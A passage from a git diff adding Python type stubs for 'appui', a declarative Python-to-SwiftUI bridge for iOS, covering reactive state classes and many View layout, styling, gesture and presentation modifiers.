unused space." + } +} diff --git a/docs/stubs/appui.pyi b/docs/stubs/appui.pyi new file mode 100644 index 0000000..4e33468 --- /dev/null +++ b/docs/stubs/appui.pyi @@ -0,0 +1,2075 @@ +"""appui — Python SwiftUI Bridge — Type Stubs for IDE autocompletion. + +A declarative Python DSL that renders native SwiftUI views on iOS. +Create reactive UIs with ``State``, layout with ``VStack``/``HStack``, +navigate with ``NavigationStack``/``TabView``, and present with ``sheet``/``alert``. + +Minimal example:: + + import appui + + state = appui.State(count=0) + + def increment(): + state.count += 1 + + def body(): + return appui.VStack([ + appui.Text(f"Count: {state.count}").font("title").bold(), + appui.Button("+1", action=increment), + ], spacing=16).padding() + + appui.run(body, state=state) +""" + +import ctypes +import sys +from typing import ( + Any, + Callable, + Dict, + Iterable, + List, + Mapping, + Optional, + Sequence, + Tuple, + Union, + overload, +) + +if sys.version_info >= (3, 11): + from typing import Self +else: + from typing_extensions import Self + +# ── Type Aliases ── + +ColorLike = Union[str, Tuple[float, ...], int, float] +"""Color specification: named string (``'systemBlue'``), hex (``'#FF0000'``), +RGB tuple (``(1.0, 0.0, 0.0)``), RGBA tuple, or gray float (``0.5``).""" + +ViewChild = Union["View", List["View"]] +"""A single View or a list of Views accepted as children.""" + +infinity: float +"""Positive infinity constant — use with ``max_width`` / ``max_height`` in ``.frame()``.""" + +# ═══════════════════════════════════════════════════════════ +# State Management +# ═══════════════════════════════════════════════════════════ + +class ObservableList(list): + """A ``list`` subclass that triggers UI rebuilds on mutation. + + Created automatically when you assign a ``list`` to a ``State`` field. + You normally do not instantiate this directly. + """ + def __init__(self, data: Iterable[Any], notify: Callable[[], None]) -> None: ... + def append(self, v: Any) -> None: ... + def insert(self, i: int, v: Any) -> None: ... + def extend(self, iterable: Iterable[Any]) -> None: ... + def remove(self, v: Any) -> None: ... + def pop(self, i: int = -1) -> Any: ... + def clear(self) -> None: ... + def __setitem__(self, key: Any, value: Any) -> None: ... + def __delitem__(self, key: Any) -> None: ... + def __iadd__(self, other: Iterable[Any]) -> Self: ... + def sort(self, **kwargs: Any) -> None: ... + def reverse(self) -> None: ... + + +class ObservableDict(dict): + """A ``dict`` subclass that triggers UI rebuilds on mutation. + + Created automatically when you assign a ``dict`` to a ``State`` field. + """ + def __init__(self, data: Mapping[Any, Any], notify: Callable[[], None]) -> None: ... + def __setitem__(self, key: Any, value: Any) -> None: ... + def __delitem__(self, key: Any) -> None: ... + def pop(self, key: Any, *args: Any) -> Any: ... + def update(self, *args: Any, **kwargs: Any) -> None: ... + def clear(self) -> None: ... + def setdefault(self, key: Any, default: Any = None) -> Any: ... + def items(self) -> List[Tuple[Any, Any]]: ... + def keys(self) -> List[Any]: ... + def values(self) -> List[Any]: ... + def copy(self) -> Dict[Any, Any]: ... + + +class State: + """Reactive state container — attribute changes automatically trigger UI refresh. + + Supports deep observation for nested ``list`` and ``dict`` values. Inside + MiniApps, JSON-compatible fields are restored and saved automatically unless + marked as ``transient``. + + Example:: + + state = appui.State(count=0, name='', items=[]) + state.count += 1 # triggers rebuild + state.items.append('x') # triggers rebuild (deep observation) + state.batch_update(count=5, name='Bob') # single rebuild + """ + def __init__(self, persist: Optional[Union[bool, Sequence[str]]] = None, + persist_key: Optional[str] = None, + transient: Optional[Sequence[str]] = None, + debounce: float = 0.3, + **kwargs: Any) -> None: ... + def __getattr__(self, key: str) -> Any: ... + def __setattr__(self, key: str, value: Any) -> None: ... + def __getitem__(self, key: str) -> Any: ... + def __setitem__(self, key: str, value: Any) -> None: ... + def batch_update(self, **kwargs: Any) -> None: + """Update multiple values in one pass, triggering only one rebuild.""" + ... + def to_dict(self) -> Dict[str, Any]: + """Export all fields as a plain dictionary.""" + ... + def get(self, key: str, default: Any = None) -> Any: + """Safe access that never raises — useful after hot-reload.""" + ... + def flush_persisted(self) -> bool: + """Synchronously save pending persistent state.""" + ... + def clear_persisted(self) -> bool: + """Remove this state's saved snapshot.""" + ... + + +class PersistentState(State): + """Explicit persistent AppUI state.""" + def __init__(self, persist_key: Optional[str] = None, + transient: Optional[Sequence[str]] = None, + debounce: float = 0.3, + **kwargs: Any) -> None: ... + + +class ReactiveState: + """State with automatic binary/JSON channel routing per field. + + Fields declared as ``(initial_value, prop_id)`` tuples are routed + through the Aurora binary fast-path when a handle is bound. + Plain values use the normal JSON rebuild path. + + Example:: + + state = appui.ReactiveState( + count=0, # JSON path + slider_val=(0.5, 1), # binary path (prop_id=1) + ) + state.slider_val = 0.75 # binary push — no rebuild + state.count = 42 # JSON rebuild + """ + def __init__(self, **kwargs: Any) -> None: ... + def __getattr__(self, key: str) -> Any: ... + def __setattr__(self, key: str, value: Any) -> None: ... + def __getitem__(self, key: str) -> Any: ... + def __setitem__(self, key: str, value: Any) -> None: ... + def get(self, key: str, default: Any = None) -> Any: + """Safe access that never raises.""" + ... + def to_dict(self) -> Dict[str, Any]: + """Export all fields as a plain dictionary.""" + ... + def batch_update(self, **kwargs: Any) -> None: + """Update multiple values, triggering only one rebuild.""" + ... + def bind(self, field_name: str) -> Dict[str, Any]: + """Create a two-way binding dict (``value`` + ``on_change``).""" + ... + def bind_handles(self, **bindings: int) -> None: + """Bind Aurora handles to fields for binary fast-path.""" + ... + def _accept_callback(self, key: str, value: Any) -> None: ... + + +class Prop: + """Descriptor for reactive properties on View subclasses. + + When the Aurora binary channel is active, writes are pushed + without a full JSON rebuild. + + Example on a custom view class:: + + class MyView(appui.View): + title = appui.Prop(prop_id=1, default='Hello') + """ + prop_id: int + val_type: str + default: Any + def __init__(self, prop_id: int, val_type: str = 'auto', default: Any = None, attr: Optional[str] = None) -> None: ... + def __set_name__(self, owner: Any, name: str) -> None: ... + def __get__(self, obj: Any, objtype: Any = None) -> Any: ... + def __set__(self, obj: Any, value: Any) -> None: ... + + +class Ref: + """A mutable reference that does NOT trigger rebuilds. + + Useful for storing counters, handles, or any data that + should not cause the UI to refresh when changed. + + Example:: + + counter = appui.Ref(0) + counter.current += 1 # no UI refresh + """ + current: Any + def __init__(self, initial: Any = None) -> None: ... + + +def computed(state: Union[State, ReactiveState], depends_on: List[str]) -> Callable: + """Decorator: cached derived value, recomputed only when deps change. + + Example:: + + @appui.computed(state, depends_on=['items', 'filter_text']) + def filtered(): + return [i for i in state.items if state.filter_text in str(i)] + + # In body(): filtered() -> returns cached list + """ + ... + +def effect(state: Union[State, ReactiveState], depends_on: List[str]) -> Callable: + """Decorator: run a side-effect when deps change (after each rebuild). + + The decorated function may return a cleanup callable:: + + @appui.effect(state, depends_on=['tab']) + def on_tab_change(): + print(f'Switched to tab {state.tab}') + def cleanup(): + print('cleanup') + return cleanup + """ + ... + +def bind(state: Union[State, ReactiveState], field_name: str) -> Dict[str, Any]: + """Create a two-way binding dict for interactive components. + + Returns ``{'value': ..., 'on_change': ...}`` suitable for unpacking:: + + appui.Slider(**appui.bind(state, 'volume')) + """ + ... + +def dynamic(func: Callable[[], Any], value_type: str = 'auto') -> Any: + """Create a dependency-tracked dynamic AppUI slot value. + + Use for values that should be eligible for Aurora/C slot updates without + rebuilding the full tree, for example ``Text(lambda: state.status)`` or + ``.opacity(appui.dynamic(lambda: state.opacity, 'double'))``. + """ + ... + + +# ═══════════════════════════════════════════════════════════ +# Navigation +# ═══════════════════════════════════════════════════════════ + +class NavigationPath: + """Programmatic navigation stack — push/pop views by code. + + Example:: + + path = appui.NavigationPath() + path.append(detail_view()) + path.pop() + path.pop_to_root() + """ + @property + def count(self) -> int: ... + @property + def is_empty(self) -> bool: ... + def __init__(self) -> None: ... + def append(self, view_or_value: Union["View", str, int, Dict[str, Any]]) -> None: + """Push a view or tagged value onto the navigation stack.""" + ... + def pop(self, count: int = 1) -> None: + """Pop *count* items from the navigation stack.""" + ... + def pop_to_root(self) -> None: + """Pop all items, returning to the root view.""" + ... + def replace(self, items: List[Any]) -> None: + """Replace the entire navigation stack.""" + ... + + +# ═══════════════════════════════════════════════════════════ +# Timer +# ═══════════════════════════════════════════════════════════ + +class Timer: + """Background timer that calls an action at regular intervals. + + Example:: + + timer = appui.Timer(interval=1.0, action=tick) + timer.start() + # later... + timer.stop() + """ + @property + def is_running(self) -> bool: ... + def __init__(self, interval: float = 1.0, repeats: bool = True, + action: Optional[Callable[[], None]] = None) -> None: ... + def start(self) -> None: ... + def stop(self) -> None: ... + + +# ═══════════════════════════════════════════════════════════ +# View Base — all modifiers +# ═══════════════════════════════════════════════════════════ + +class View: + """Base class for all appui views. + + Container views support context-manager syntax:: + + with appui.VStack(spacing=12) as stack: + appui.Text("Hello") + appui.Button("Tap", action=tap) + # stack now contains both children + """ + + def __init__(self) -> None: ... + + # ── Identity ── + + def id(self, key: str) -> Self: + """Assign a stable identity key for diffing and scroll targets.""" + ... + + # ── Layout ── + + def padding(self, value: Optional[float] = None, edges: Optional[str] = None, *, + horizontal: Optional[float] = None, vertical: Optional[float] = None, + top: Optional[float] = None, bottom: Optional[float] = None, + leading: Optional[float] = None, trailing: Optional[float] = None, + **kwargs: Any) -> Self: + """Add padding around the view. + + Args: + value: Uniform padding on all edges. + edges: Edge set — ``'all'``, ``'horizontal'``, ``'vertical'``, + ``'top'``, ``'bottom'``, ``'leading'``, ``'trailing'``. + horizontal/vertical/top/bottom/leading/trailing: Per-edge overrides. + """ + ... + + def frame(self, width: Optional[float] = None, height: Optional[float] = None, + min_width: Optional[float] = None, max_width: Optional[Union[float, str]] = None, + min_height: Optional[float] = None, max_height: Optional[Union[float, str]] = None, + alignment: Optional[str] = None, **kwargs: Any) -> Self: + """Constrain the view's size. Use ``appui.infinity`` for unbounded max. + + Args: + alignment: ``'center'``, ``'leading'``, ``'trailing'``, ``'top'``, + ``'bottom'``, ``'topLeading'``, ``'bottomTrailing'``, etc. + """ + ... + + def aspect_ratio(self, ratio: Optional[float] = None, content_mode: str = 'fit', + **kwargs: Any) -> Self: + """Set aspect ratio. ``content_mode``: ``'fit'`` or ``'fill'``. Works on any view.""" + ... + + def offset(self, x: float = 0, y: float = 0) -> Self: + """Shift the view by (x, y) points without affecting layout.""" + ... + + def position(self, x: float = 0, y: float = 0) -> Self: + """Position the view's center at (x, y) within its parent.""" + ... + + def ignore_safe_area(self, edges: str = 'all', regions: str = 'all') -> Self: + """Extend the view into safe-area insets.""" + ... + + def fixed_size(self, horizontal: bool = True, vertical: bool = True) -> Self: + """Prevent the view from being compressed below its ideal size.""" + ... + + def layout_priority(self, value: float) -> Self: + """Set layout priority relative to siblings. Higher = more space.""" + ... + + def alignment_guide(self, alignment: str = 'center', compute_value: Optional[float] = None) -> Self: + """Provide a custom alignment guide offset. + + Args: + alignment: ``'leading'``, ``'trailing'``, ``'center'``, ``'top'``, + ``'bottom'``, ``'first_text_baseline'``, ``'last_text_baseline'``. + """ + ... + + def container_relative_frame(self, axis: str = 'vertical', count: int = 1, + span: int = 1, spacing: float = 8) -> Self: + """Size relative to nearest scroll container (iOS 17+).""" + ... + + def safe_area_inset(self, edge: str = 'bottom', content: Optional["View"] = None, + spacing: Optional[float] = None) -> Self: + """Pin content to a safe-area edge.""" + ... + + # ── Appearance ── + + def font(self, name: Optional[str] = None, size: Optional[float] = None, + weight: Optional[str] = None, design: Optional[str] = None) -> Self: + """Set the font. + + Args: + name: System style (``'title'``, ``'headline'``, ``'body'``, ``'caption'``, + ``'largeTitle'``, ``'footnote'``…) or custom PostScript name via + ``appui.custom_font()``. + weight: ``'regular'``, ``'bold'``, ``'semibold'``, ``'light'``, + ``'medium'``, ``'heavy'``, ``'black'``, ``'thin'``, ``'ultraLight'``. + design: ``'default'``, ``'rounded'``, ``'serif'``, ``'monospaced'``. + """ + ... + + def bold(self) -> Self: + """Apply bold weight.""" + ... + + def italic(self) -> Self: + """Apply italic style.""" + ... + + def foreground_color(self, color: ColorLike) -> Self: + """Set the text/icon color.""" + ... + + def foreground_style(self, style: Any) -> Self: + """Set the foreground style (color, gradient, or material name).""" + ... + + def background(self, color: Optional[ColorLike] = None, corner_radius: float = 0, + gradient: Optional[List[ColorLike]] = None, + gradient_type: str = 'linear', + material: Optional[str] = None, + cornerRadius: Optional[float] = None, + gradientType: Optional[str] = None, + opacity: Optional[float] = None, + **kwargs: Any) -> Self: + """Set background color, gradient, or material. + + Args: + color: Solid background color. + corner_radius: Rounded corners for the background. + gradient: List of colors for a gradient background. + gradient_type: ``'linear'``, ``'radial'``, ``'angular'``. + material: iOS material name — ``'ultraThinMaterial'``, + ``'thinMaterial'``, ``'regularMaterial'``, + ``'thickMaterial'``, ``'ultraThickMaterial'``. + opacity: Background opacity override. + """ + ... + + def opacity(self, value: float) -> Self: + """Set the view's opacity (0.0–1.0).""" + ... + + def corner_radius(self, value: float) -> Self: + """Round all corners.""" + ... + + def clip_shape(self, shape: str) -> Self: + """Clip to a shape — ``'circle'``, ``'capsule'``, ``'rect'``, ``'rounded_rect'``.""" + ... + + def clipped(self) -> Self: + """Clip content to the view's bounds.""" + ... + + def shadow(self, color: Optional[ColorLike] = None, radius: float = 5, + x: float = 0, y: float = 2) -> Self: + """Add a drop shadow.""" + ... + + def border(self, color: ColorLike, width: float = 1) -> Self: + """Add a border stroke.""" + ... + + def overlay(self, content: "View") -> Self: + """Layer a view on top.""" + ... + + def tint(self, color: ColorLike) -> Self: + """Set the accent/tint color.""" + ... + + def mask(self, content: "View") -> Self: + """Mask the view with another view's alpha channel.""" + ... + + def drawing_group(self) -> Self: + """Composite the view into a single GPU-backed layer.""" + ... + def glass_effect(self, tint: Optional[ColorLike] = None, interactive: bool = False, + shape: str = 'capsule', corner_radius: Optional[float] = None, + cornerRadius: Optional[float] = None) -> Self: + """Apply the iOS 26 Liquid Glass effect. Shape: ``'capsule'``, ``'rounded_rectangle'``, ``'circle'``.""" + ... + def background_extension_effect(self, enabled: bool = True, + is_enabled: Optional[bool] = None, + isEnabled: Optional[bool] = None) -> Self: + """Extend background material into surrounding bars/safe areas on iOS 26+.""" + ... + + # ── Navigation ── + + def navigation_title(self, title: Union[str, "View"]) -> Self: + """Set the navigation bar title.""" + ... + + def navigation_bar_title_display_mode(self, mode: str) -> Self: + """Title mode: ``'automatic'``, ``'inline'``, ``'large'``.""" + ... + + def navigation_bar_back_button_hidden(self, value: bool = True) -> Self: + """Hide the back button in a NavigationStack.""" + ... + + def toolbar(self, items: Any) -> Self: + """Add toolbar items (list of ``ToolbarItem``).""" + ... + + def toolbar_background(self, visibility: str = 'visible', bars: str = 'navigation_bar') -> Self: + """Control toolbar background (iOS 16+). Bars: ``'navigation_bar'``, ``'bottom_bar'``, ``'tab_bar'``.""" + ... + + def toolbar_color_scheme(self, scheme: str = 'dark', bars: str = 'navigation_bar') -> Self: + """Set toolbar color scheme (iOS 16+).""" + ... + + def navigation_destination(self, is_presented: bool = False, content: Optional["View"] = None, + on_dismiss: Optional[Callable] = None, + isPresented: Optional[bool] = None, + onDismiss: Optional[Callable] = None) -> Self: + """Programmatic navigation destination.""" + ... + def safe_area_bar(self, edge: str = 'bottom', content: Optional["View"] = None, + alignment: str = 'center', spacing: Optional[float] = None, + safeAreaEdge: Optional[str] = None) -> Self: + """Attach iOS 26 safe-area bar content to ``'top'``, ``'bottom'``, ``'leading'``, or ``'trailing'``.""" + ... + def tab_view_bottom_accessory(self, content: Optional["View"] = None, + enabled: bool = True, + is_enabled: Optional[bool] = None, + isEnabled: Optional[bool] = None) -> Self: + """Attach iOS 26 TabView bottom accessory content.""" + ... + def tab_bar_minimize_behavior(self, behavior: str = 'automatic') -> Self: + """Set iOS 26 tab bar minimize behavior: ``'automatic'``, ``'never'``, ``'on_scroll_down'``, ``'on_scroll_up'``.""" + ... + def tab_view_search_activation(self, activation: str = 'search_tab_selection') -> Self: + """Configure iOS 26 search-tab activation: ``'automatic'`` or ``'search_tab_selection'``.""" + ... + + # ── Styles ── + + def button_style(self, style: str) -> Self: + """Button style: ``'automatic'``, ``'bordered'``, ``'bordered_prominent'``, ``'borderless'``, ``'plain'``.""" + ... + def list_style(self, style: str) -> Self: + """List style: ``'automatic'``, ``'inset'``, ``'inset_grouped'``, ``'grouped'``, ``'plain'``, ``'sidebar'``.""" + ... + def text_field_style(self, style: str) -> Self: + """TextField style: ``'automatic'``, ``'plain'``, ``'rounded_border'``.""" + ... + def toggle_style(self, style: str) -> Self: + """Toggle style: ``'automatic'``, ``'switch'``, ``'button'``.""" + ... + def tab_view_style(self, style: str) -> Self: + """TabView style: ``'automatic'``, ``'page'``.""" + ... + def picker_style(self, style: str) -> Self: + """Picker style: ``'automatic'``, ``'wheel'``, ``'segmented'``, ``'menu'``, ``'inline'``.""" + ... + def gauge_style(self, style: str) -> Self: + """Gauge style: ``'automatic'``, ``'linear'``, ``'circular'``, + ``'accessory_circular'``, ``'accessory_linear'``, + ``'linear_capacity'``, ``'accessory_circular_capacity'``, + ``'accessory_linear_capacity'``.""" + ... + def progress_view_style(self, style: str) -> Self: + """ProgressView style: ``'automatic'``, ``'linear'``, ``'circular'``.""" + ... + def date_picker_style(self, style: str) -> Self: + """DatePicker style: ``'automatic'``, ``'compact'``, ``'wheel'``, ``'graphical'``.""" + ... + + # ── Interaction ── + + def on_tap(self, action: Callable) -> Self: + """Called when the view is tapped.""" + ... + def on_appear(self, action: Callable) -> Self: + """Called when the view appears on screen.""" + ... + def on_disappear(self, action: Callable) -> Self: + """Called when the view disappears.""" + ... + def on_long_press(self, action: Optional[Callable] = None, min_duration: float = 0.5, + minDuration: Optional[float] = None, + on_pressing: Optional[Callable] = None, + onPressing: Optional[Callable] = None) -> Self: + """Called on long press. ``on_pressing`` fires while pressed (bool arg).""" + ... + def on_drag(self, on_changed: Optional[Callable] = None, + on_ended: Optional[Callable] = None, + onChanged: Optional[Callable] = None, + onEnded: Optional[Callable] = None) -> Self: + """Pan/drag gesture callbacks.""" + ... + def on_magnification(self, on_changed: Optional[Callable] = None, + on_ended: Optional[Callable] = None, + onChanged: Optional[Callable] = None, + onEnded: Optional[Callable] = None) -> Self: + """Pinch-to-zoom gesture callbacks.""" + ... + def on_rotation(self, on_changed: Optional[Callable] = None, + on_ended: Optional[Callable] = None, + onChanged: Optional[Callable] = None, + onEnded: Optional[Callable] = None) -> Self: + """Two-finger rotation gesture callbacks.""" + ... + def on_drop(self, action: Callable) -> Self: + """Called when content is dropped onto this view.""" + ... + def on_geometry(self, action: Callable) -> Self: + """Called with geometry info ``{'width': float, 'height': float}``.""" + ... + def task(self, action: Callable) -> Self: + """Run an async-like task when the view appears.""" + ... + def disabled(self, value: bool = True) -> Self: + """Disable user interaction.""" + ... + def hidden(self) -> Self: + """Hide the view while preserving its layout space.""" + ... + def simultaneous_gesture(self, gesture: str = 'tap', callback: Optional[Callable] = None, + on_changed: Optional[Callable] = None, + min_duration: float = 0.5) -> Self: + """Attach a gesture alongside the view's own. Gesture: ``'tap'``, ``'long_press'``, ``'magnification'``.""" + ... + def high_priority_gesture(self, gesture: str = 'tap', callback: Optional[Callable] = None, + min_duration: float = 0.5) -> Self: + """Attach a gesture that overrides child gestures.""" + ... + + # ── Presentation ── + + def alert(self, title: str, message: str = '', is_presented: bool = False, + on_dismiss: Optional[Callable] = None, actions: Optional[List["View"]] = None, + isPresented: Optional[bool] = None, + onDismiss: Optional[Callable] = None) -> Self: + """Present an alert dialog.""" + ... + def sheet(self, is_presented: bool = False, content: Optional[Union["View", Callable[[], "View"]]] = None, + on_dismiss: Optional[Callable] = None, + detents: Optional[str] = None, + drag_indicator: Optional[str] = None, + interactive_dismiss_disabled: bool = False, + isPresented: Optional[bool] = None, + onDismiss: Optional[Callable] = None, + dragIndicator: Optional[str] = None, + interactiveDismissDisabled: Optional[bool] = None) -> Self: + """Present a modal sheet. + + Args: + detents: Sheet heights — ``'medium'``, ``'large'``, ``'medium_large'``. + drag_indicator: ``'visible'`` or ``'hidden'``. + interactive_dismiss_disabled: Prevent swipe-to-dismiss. + """ + ... + def full_screen_cover(self, is_presented: bool = False, content: Optional[Union["View", Callable[[], "View"]]] = None, + on_dismiss: Optional[Callable] = None, + isPresented: Optional[bool] = None, + onDismiss: Optional[Callable] = None) -> Self: + """Present a full-screen modal.""" + ... + def confirmation_dialog(self, title: str, is_presented: bool = False, + actions: Optional[List["View"]] = None, message: str = '', + on_dismiss: Optional[Callable] = None, + isPresented: Optional[bool] = None, + onDismiss: Optional[Callable] = None) -> Self: + """Present a confirmation dialog with action buttons.""" + ... + def context_menu(self, content: Optional[List["View"]] = None) -> Self: + """Attach a context menu (long-press/right-click).""" + ... + def searchable(self, text: str = '', on_change: Optional[Callable] = None, + onChange: Optional[Callable] = None, + placement: str = 'automatic', + prompt: Optional[str] = None) -> Self: + """Add a search bar.""" + ... + def search_toolbar_behavior(self, behavior: str = 'minimize') -> Self: + """Configure iOS 26 search toolbar behavior: ``'automatic'`` or ``'minimize'``.""" + ... + def swipe_actions(self, edge: str = 'trailing', content: Optional[List["View"]] = None, + actions: Optional[List["View"]] = None) -> Self: + """Attach swipe actions to a list row. Edge: ``'leading'`` or ``'trailing'``.""" + ... + def refreshable(self, action: Optional[Callable] = None) -> Self: + """Enable pull-to-refresh.""" + ... + def badge(self, count: Any) -> Self: + """Show a numeric or text badge.""" + ... + def popover(self, is_presented: bool = False, content: Optional[Union["View", Callable[[], "View"]]] = None, + on_dismiss: Optional[Callable] = None, + isPresented: Optional[bool] = None, + onDismiss: Optional[Callable] = None) -> Self: + """Present a popover (iPad) or sheet (iPhone).""" + ... + def inspector(self, is_presented: bool = False, content: Optional[Union["View", Callable[[], "View"]]] = None, + on_dismiss: Optional[Callable] = None) -> Self: + """Show an inspector sidebar (iOS 17+, iPad).""" + ... + + # ── Animation & Transform ── + + def animation(self, type: str = 'default', value: Optional[Any] = None) -> Self: + """Apply implicit animation. Types: ``'default'``, ``'linear'``, ``'easeIn'``, + ``'easeOut'``, ``'easeInOut'``, ``'spring'``, ``'interpolatingSpring'``.""" + ... + def transition(self, type: str = 'opacity') -> Self: + """Apply insertion/removal transition. Types: ``'opacity'``, ``'slide'``, ``'scale'``, + ``'move'``, ``'push'``, ``'identity'``.""" + ... + def scale_effect(self, scale: float) -> Self: + """Scale the view uniformly.""" + ... + def rotation_effect(self, degrees: float) -> Self: + """Rotate the view in 2D.""" + ... + def rotation_3d_effect(self, degrees: float, x: float = 0, y: float = 0, z: float = 0) -> Self: + """Rotate the view in 3D around the given axis.""" + ... + def matched_geometry_effect(self, ns_id: Optional[str] = None, namespace: Optional[str] = None, + is_source: bool = True, + nsId: Optional[str] = None, + isSource: Optional[bool] = None) -> Self: + """Shared geometry animation between views with the same ``ns_id``.""" + ... + def glass_effect_id(self, id: Any) -> Self: + """Assign an iOS 26 Liquid Glass matched-effect identity.""" + ... + def glass_effect_transition(self, transition: str = 'matched_geometry') -> Self: + """Set iOS 26 Liquid Glass transition: ``'matched_geometry'``, ``'materialize'``, or ``'identity'``.""" + ... + def glass_effect_union(self, id: Any) -> Self: + """Group iOS 26 Liquid Glass effects into the same union namespace.""" + ... + def content_transition(self, type: str = 'opacity') -> Self: + """Animate content changes. Types: ``'opacity'``, ``'interpolate'``, ``'numeric_text'``, ``'identity'``.""" + ... + def phase_animator(self, phases: Optional[List[float]] = None, + effect: str = 'scale_opacity', scale_range: float = 0.1, + opacity_range: float = 0.2, duration: float = 0.6, + animation: str = 'easeInOut') -> Self: + """Looping phase animation (iOS 17+). Default phases: ``[0, 0.5, 1, 0.5, 0]``. + + Args: + effect: ``'scale_opacity'``, ``'scale'``, ``'opacity'``, ``'rotation'``, ``'offset_y'``. + scale_range: Scale delta per unit phase (default 0.1). + opacity_range: Opacity delta per unit phase (default 0.2). + duration: Seconds per phase transition (default 0.6). + animation: ``'easeInOut'``, ``'linear'``, ``'easeIn'``, ``'easeOut'``, ``'spring'``. + """ + ... + + # ── Visual Effects ── + + def blur(self, radius: float) -> Self: + """Gaussian blur.""" + ... + def brightness(self, amount: float) -> Self: + """Adjust brightness (-1.0 to 1.0).""" + ... + def contrast(self, amount: float) -> Self: + """Adjust contrast (0.0 = gray, 1.0 = original).""" + ... + def saturation(self, amount: float) -> Self: + """Adjust saturation (0.0 = desaturated, 1.0 = original).""" + ... + def grayscale(self, amount: float) -> Self: + """Apply grayscale (0.0 = full color, 1.0 = full gray).""" + ... + + # ── Focus & Keyboard ── + + def focused(self, field_id: Union[bool, str, None] = None, equals: Optional[str] = None, + fieldId: Union[bool, str, None] = None, + key: Optional[str] = None) -> Self: + """Control keyboard focus (iOS 15+). + + Bool usage: ``TextField(...).focused(state.is_focused)`` + Key usage: ``TextField(...).focused(key='name', equals=state.active_field)`` + """ + ... + def submit_label(self, label: str) -> Self: + """Return key label: ``'done'``, ``'go'``, ``'send'``, ``'search'``, ``'next'``, ``'continue'``, ``'return'``.""" + ... + def on_submit(self, action: Callable) -> Self: + """Called when user presses the return key.""" + ... + def keyboard_dismiss(self, mode: str = 'interactive') -> Self: + """Keyboard dismissal on scroll: ``'interactive'`` or ``'immediately'``.""" + ... + + # ── List Row ── + + def list_row_background(self, color: ColorLike) -> Self: + """Background color for a List row.""" + ... + def list_row_separator(self, visibility: str = 'hidden') -> Self: + """Row separator: ``'visible'``, ``'hidden'``, ``'automatic'``.""" + ... + def list_row_insets(self, top: float = 0, leading: float = 0, + bottom: float = 0, trailing: float = 0) -> Self: + """Custom insets for a List row.""" + ... + + # ── Text Styling ── + + def line_limit(self, limit: Optional[int]) -> Self: + """Maximum number of lines (``None`` = unlimited).""" + ... + def multiline_text_alignment(self, alignment: str) -> Self: + """Multiline text alignment: ``'leading'``, ``'center'``, ``'trailing'``.""" + ... + def truncation_mode(self, mode: str) -> Self: + """Truncation: ``'head'``, ``'middle'``, ``'tail'``.""" + ... + def minimum_scale_factor(self, factor: float) -> Self: + """Minimum text scale factor before truncation (0.0–1.0).""" + ... + def strikethrough(self, active: bool = True, color: Optional[ColorLike] = None) -> Self: + """Apply strikethrough.""" + ... + def underline(self, active: bool = True, color: Optional[ColorLike] = None) -> Self: + """Apply underline.""" + ... + + # ── Accessibility ── + + def accessibility_label(self, label: str) -> Self: + """VoiceOver label for this view.""" + ... + def accessibility_hidden(self, value: bool = True) -> Self: + """Hide from the accessibility tree.""" + ... + + # ── Scroll ── + + def scroll_content_background(self, visibility: str = 'hidden') -> Self: + """List/Form background: ``'visible'`` or ``'hidden'`` (iOS 16+).""" + ... + def scroll_position(self, id: Optional[str] = None) -> Self: + """Bind scroll position to an anchor ID (iOS 17+).""" + ... + def scroll_target_layout(self, enabled: bool = True) -> Self: + """Mark children as scroll-snap targets (iOS 17+).""" + ... + def scroll_target_behavior(self, mode: str = 'view_aligned') -> Self: + """Scroll snap behavior: ``'view_aligned'`` or ``'paging'`` (iOS 17+).""" + ... + def default_scroll_anchor(self, anchor: str = 'top') -> Self: + """Set the default scroll anchor (iOS 17+). Anchor: ``'top'``, ``'center'``, ``'bottom'``, ``'leading'``, ``'trailing'``.""" + ... + def scroll_clip_disabled(self, disabled: bool = True) -> Self: + """Allow scroll content to extend beyond bounds (iOS 17+).""" + ... + def content_margins(self, edges: str = 'all', length: Optional[float] = None, + **kwargs: Any) -> Self: + """Set content margins for scrollable containers (iOS 17+). + + Args: + edges: ``'all'``, ``'horizontal'``, ``'vertical'``, ``'top'``, + ``'bottom'``, ``'leading'``, ``'trailing'``. + length: Margin size in points. + """ + ... + def symbol_effect(self, effect: str = 'bounce', is_active: bool = True, + value: Optional[Any] = None) -> Self: + """Apply a symbol animation to SF Symbols (iOS 17+). + + Args: + effect: ``'bounce'``, ``'pulse'``, ``'variable_color'``, ``'scale'``, + ``'appear'``, ``'disappear'``, ``'replace'``. + is_active: Whether the effect is active. + value: Trigger value — effect replays when this changes. + """ + ... + def scroll_transition(self, axis: str = 'vertical', transition: str = 'identity') -> Self: + """Apply a visual transition as content scrolls in/out of view (iOS 17+). + + Args: + axis: ``'vertical'`` or ``'horizontal'``. + transition: ``'identity'``, ``'opacity'``, ``'scale'``, ``'slide'``. + """ + ... + def scroll_edge_effect_style(self, style: str = 'automatic', edges: str = 'all') -> Self: + """Set iOS 26 scroll edge effect style: ``'automatic'``, ``'hard'``, ``'soft'``, or ``'none'``.""" + ... + def scroll_edge_effect_hidden(self, hidden: bool = True, edges: str = 'all') -> Self: + """Hide/show iOS 26 scroll edge effects for an edge set.""" + ... + + # ── Environment & Feedback ── + + def sensory_feedback(self, style: str = 'impact', trigger: Optional[str] = None) -> Self: + """Haptic feedback on trigger change. Style: ``'impact'``, ``'success'``, ``'warning'``, ``'error'``, ``'selection'``.""" + ... + def preferred_color_scheme(self, scheme: str) -> Self: + """Force color scheme: ``'light'`` or ``'dark'``.""" + ... + def environment_value(self, key: str, value: Any) -> Self: + """Set an environment value.""" + ... + + # ── Misc ── + + def z_index(self, value: float) -> Self: + """Z-axis drawing order relative to siblings.""" + ... + def content_shape(self, shape: str = 'rect') -> Self: + """Define the hit-testing shape: ``'rect'``, ``'circle'``, ``'capsule'``.""" + ... + + # ── CamelCase Aliases ── + # These are identical to their snake_case counterparts. + + foregroundColor = foreground_color + foregroundStyle = foreground_style + backgroundColor = background + cornerRadius = corner_radius + clipShape = clip_shape + lineLimit = line_limit + navigationTitle = navigation_title + navigationBarTitleDisplayMode = navigation_bar_title_display_mode + navigationBarBackButtonHidden = navigation_bar_back_button_hidden + buttonStyle = button_style + listStyle = list_style + textFieldStyle = text_field_style + toggleStyle = toggle_style + tabViewStyle = tab_view_style + pickerStyle = picker_style + gaugeStyle = gauge_style + progressViewStyle = progress_view_style + datePickerStyle = date_picker_style + onTap = on_tap + onAppear = on_appear + onDisappear = on_disappear + onLongPress = on_long_press + onDrag = on_drag + onMagnification = on_magnification + onRotation = on_rotation + onDrop = on_drop + onGeometry = on_geometry + onSubmit = on_submit + fullScreenCover = full_screen_cover + 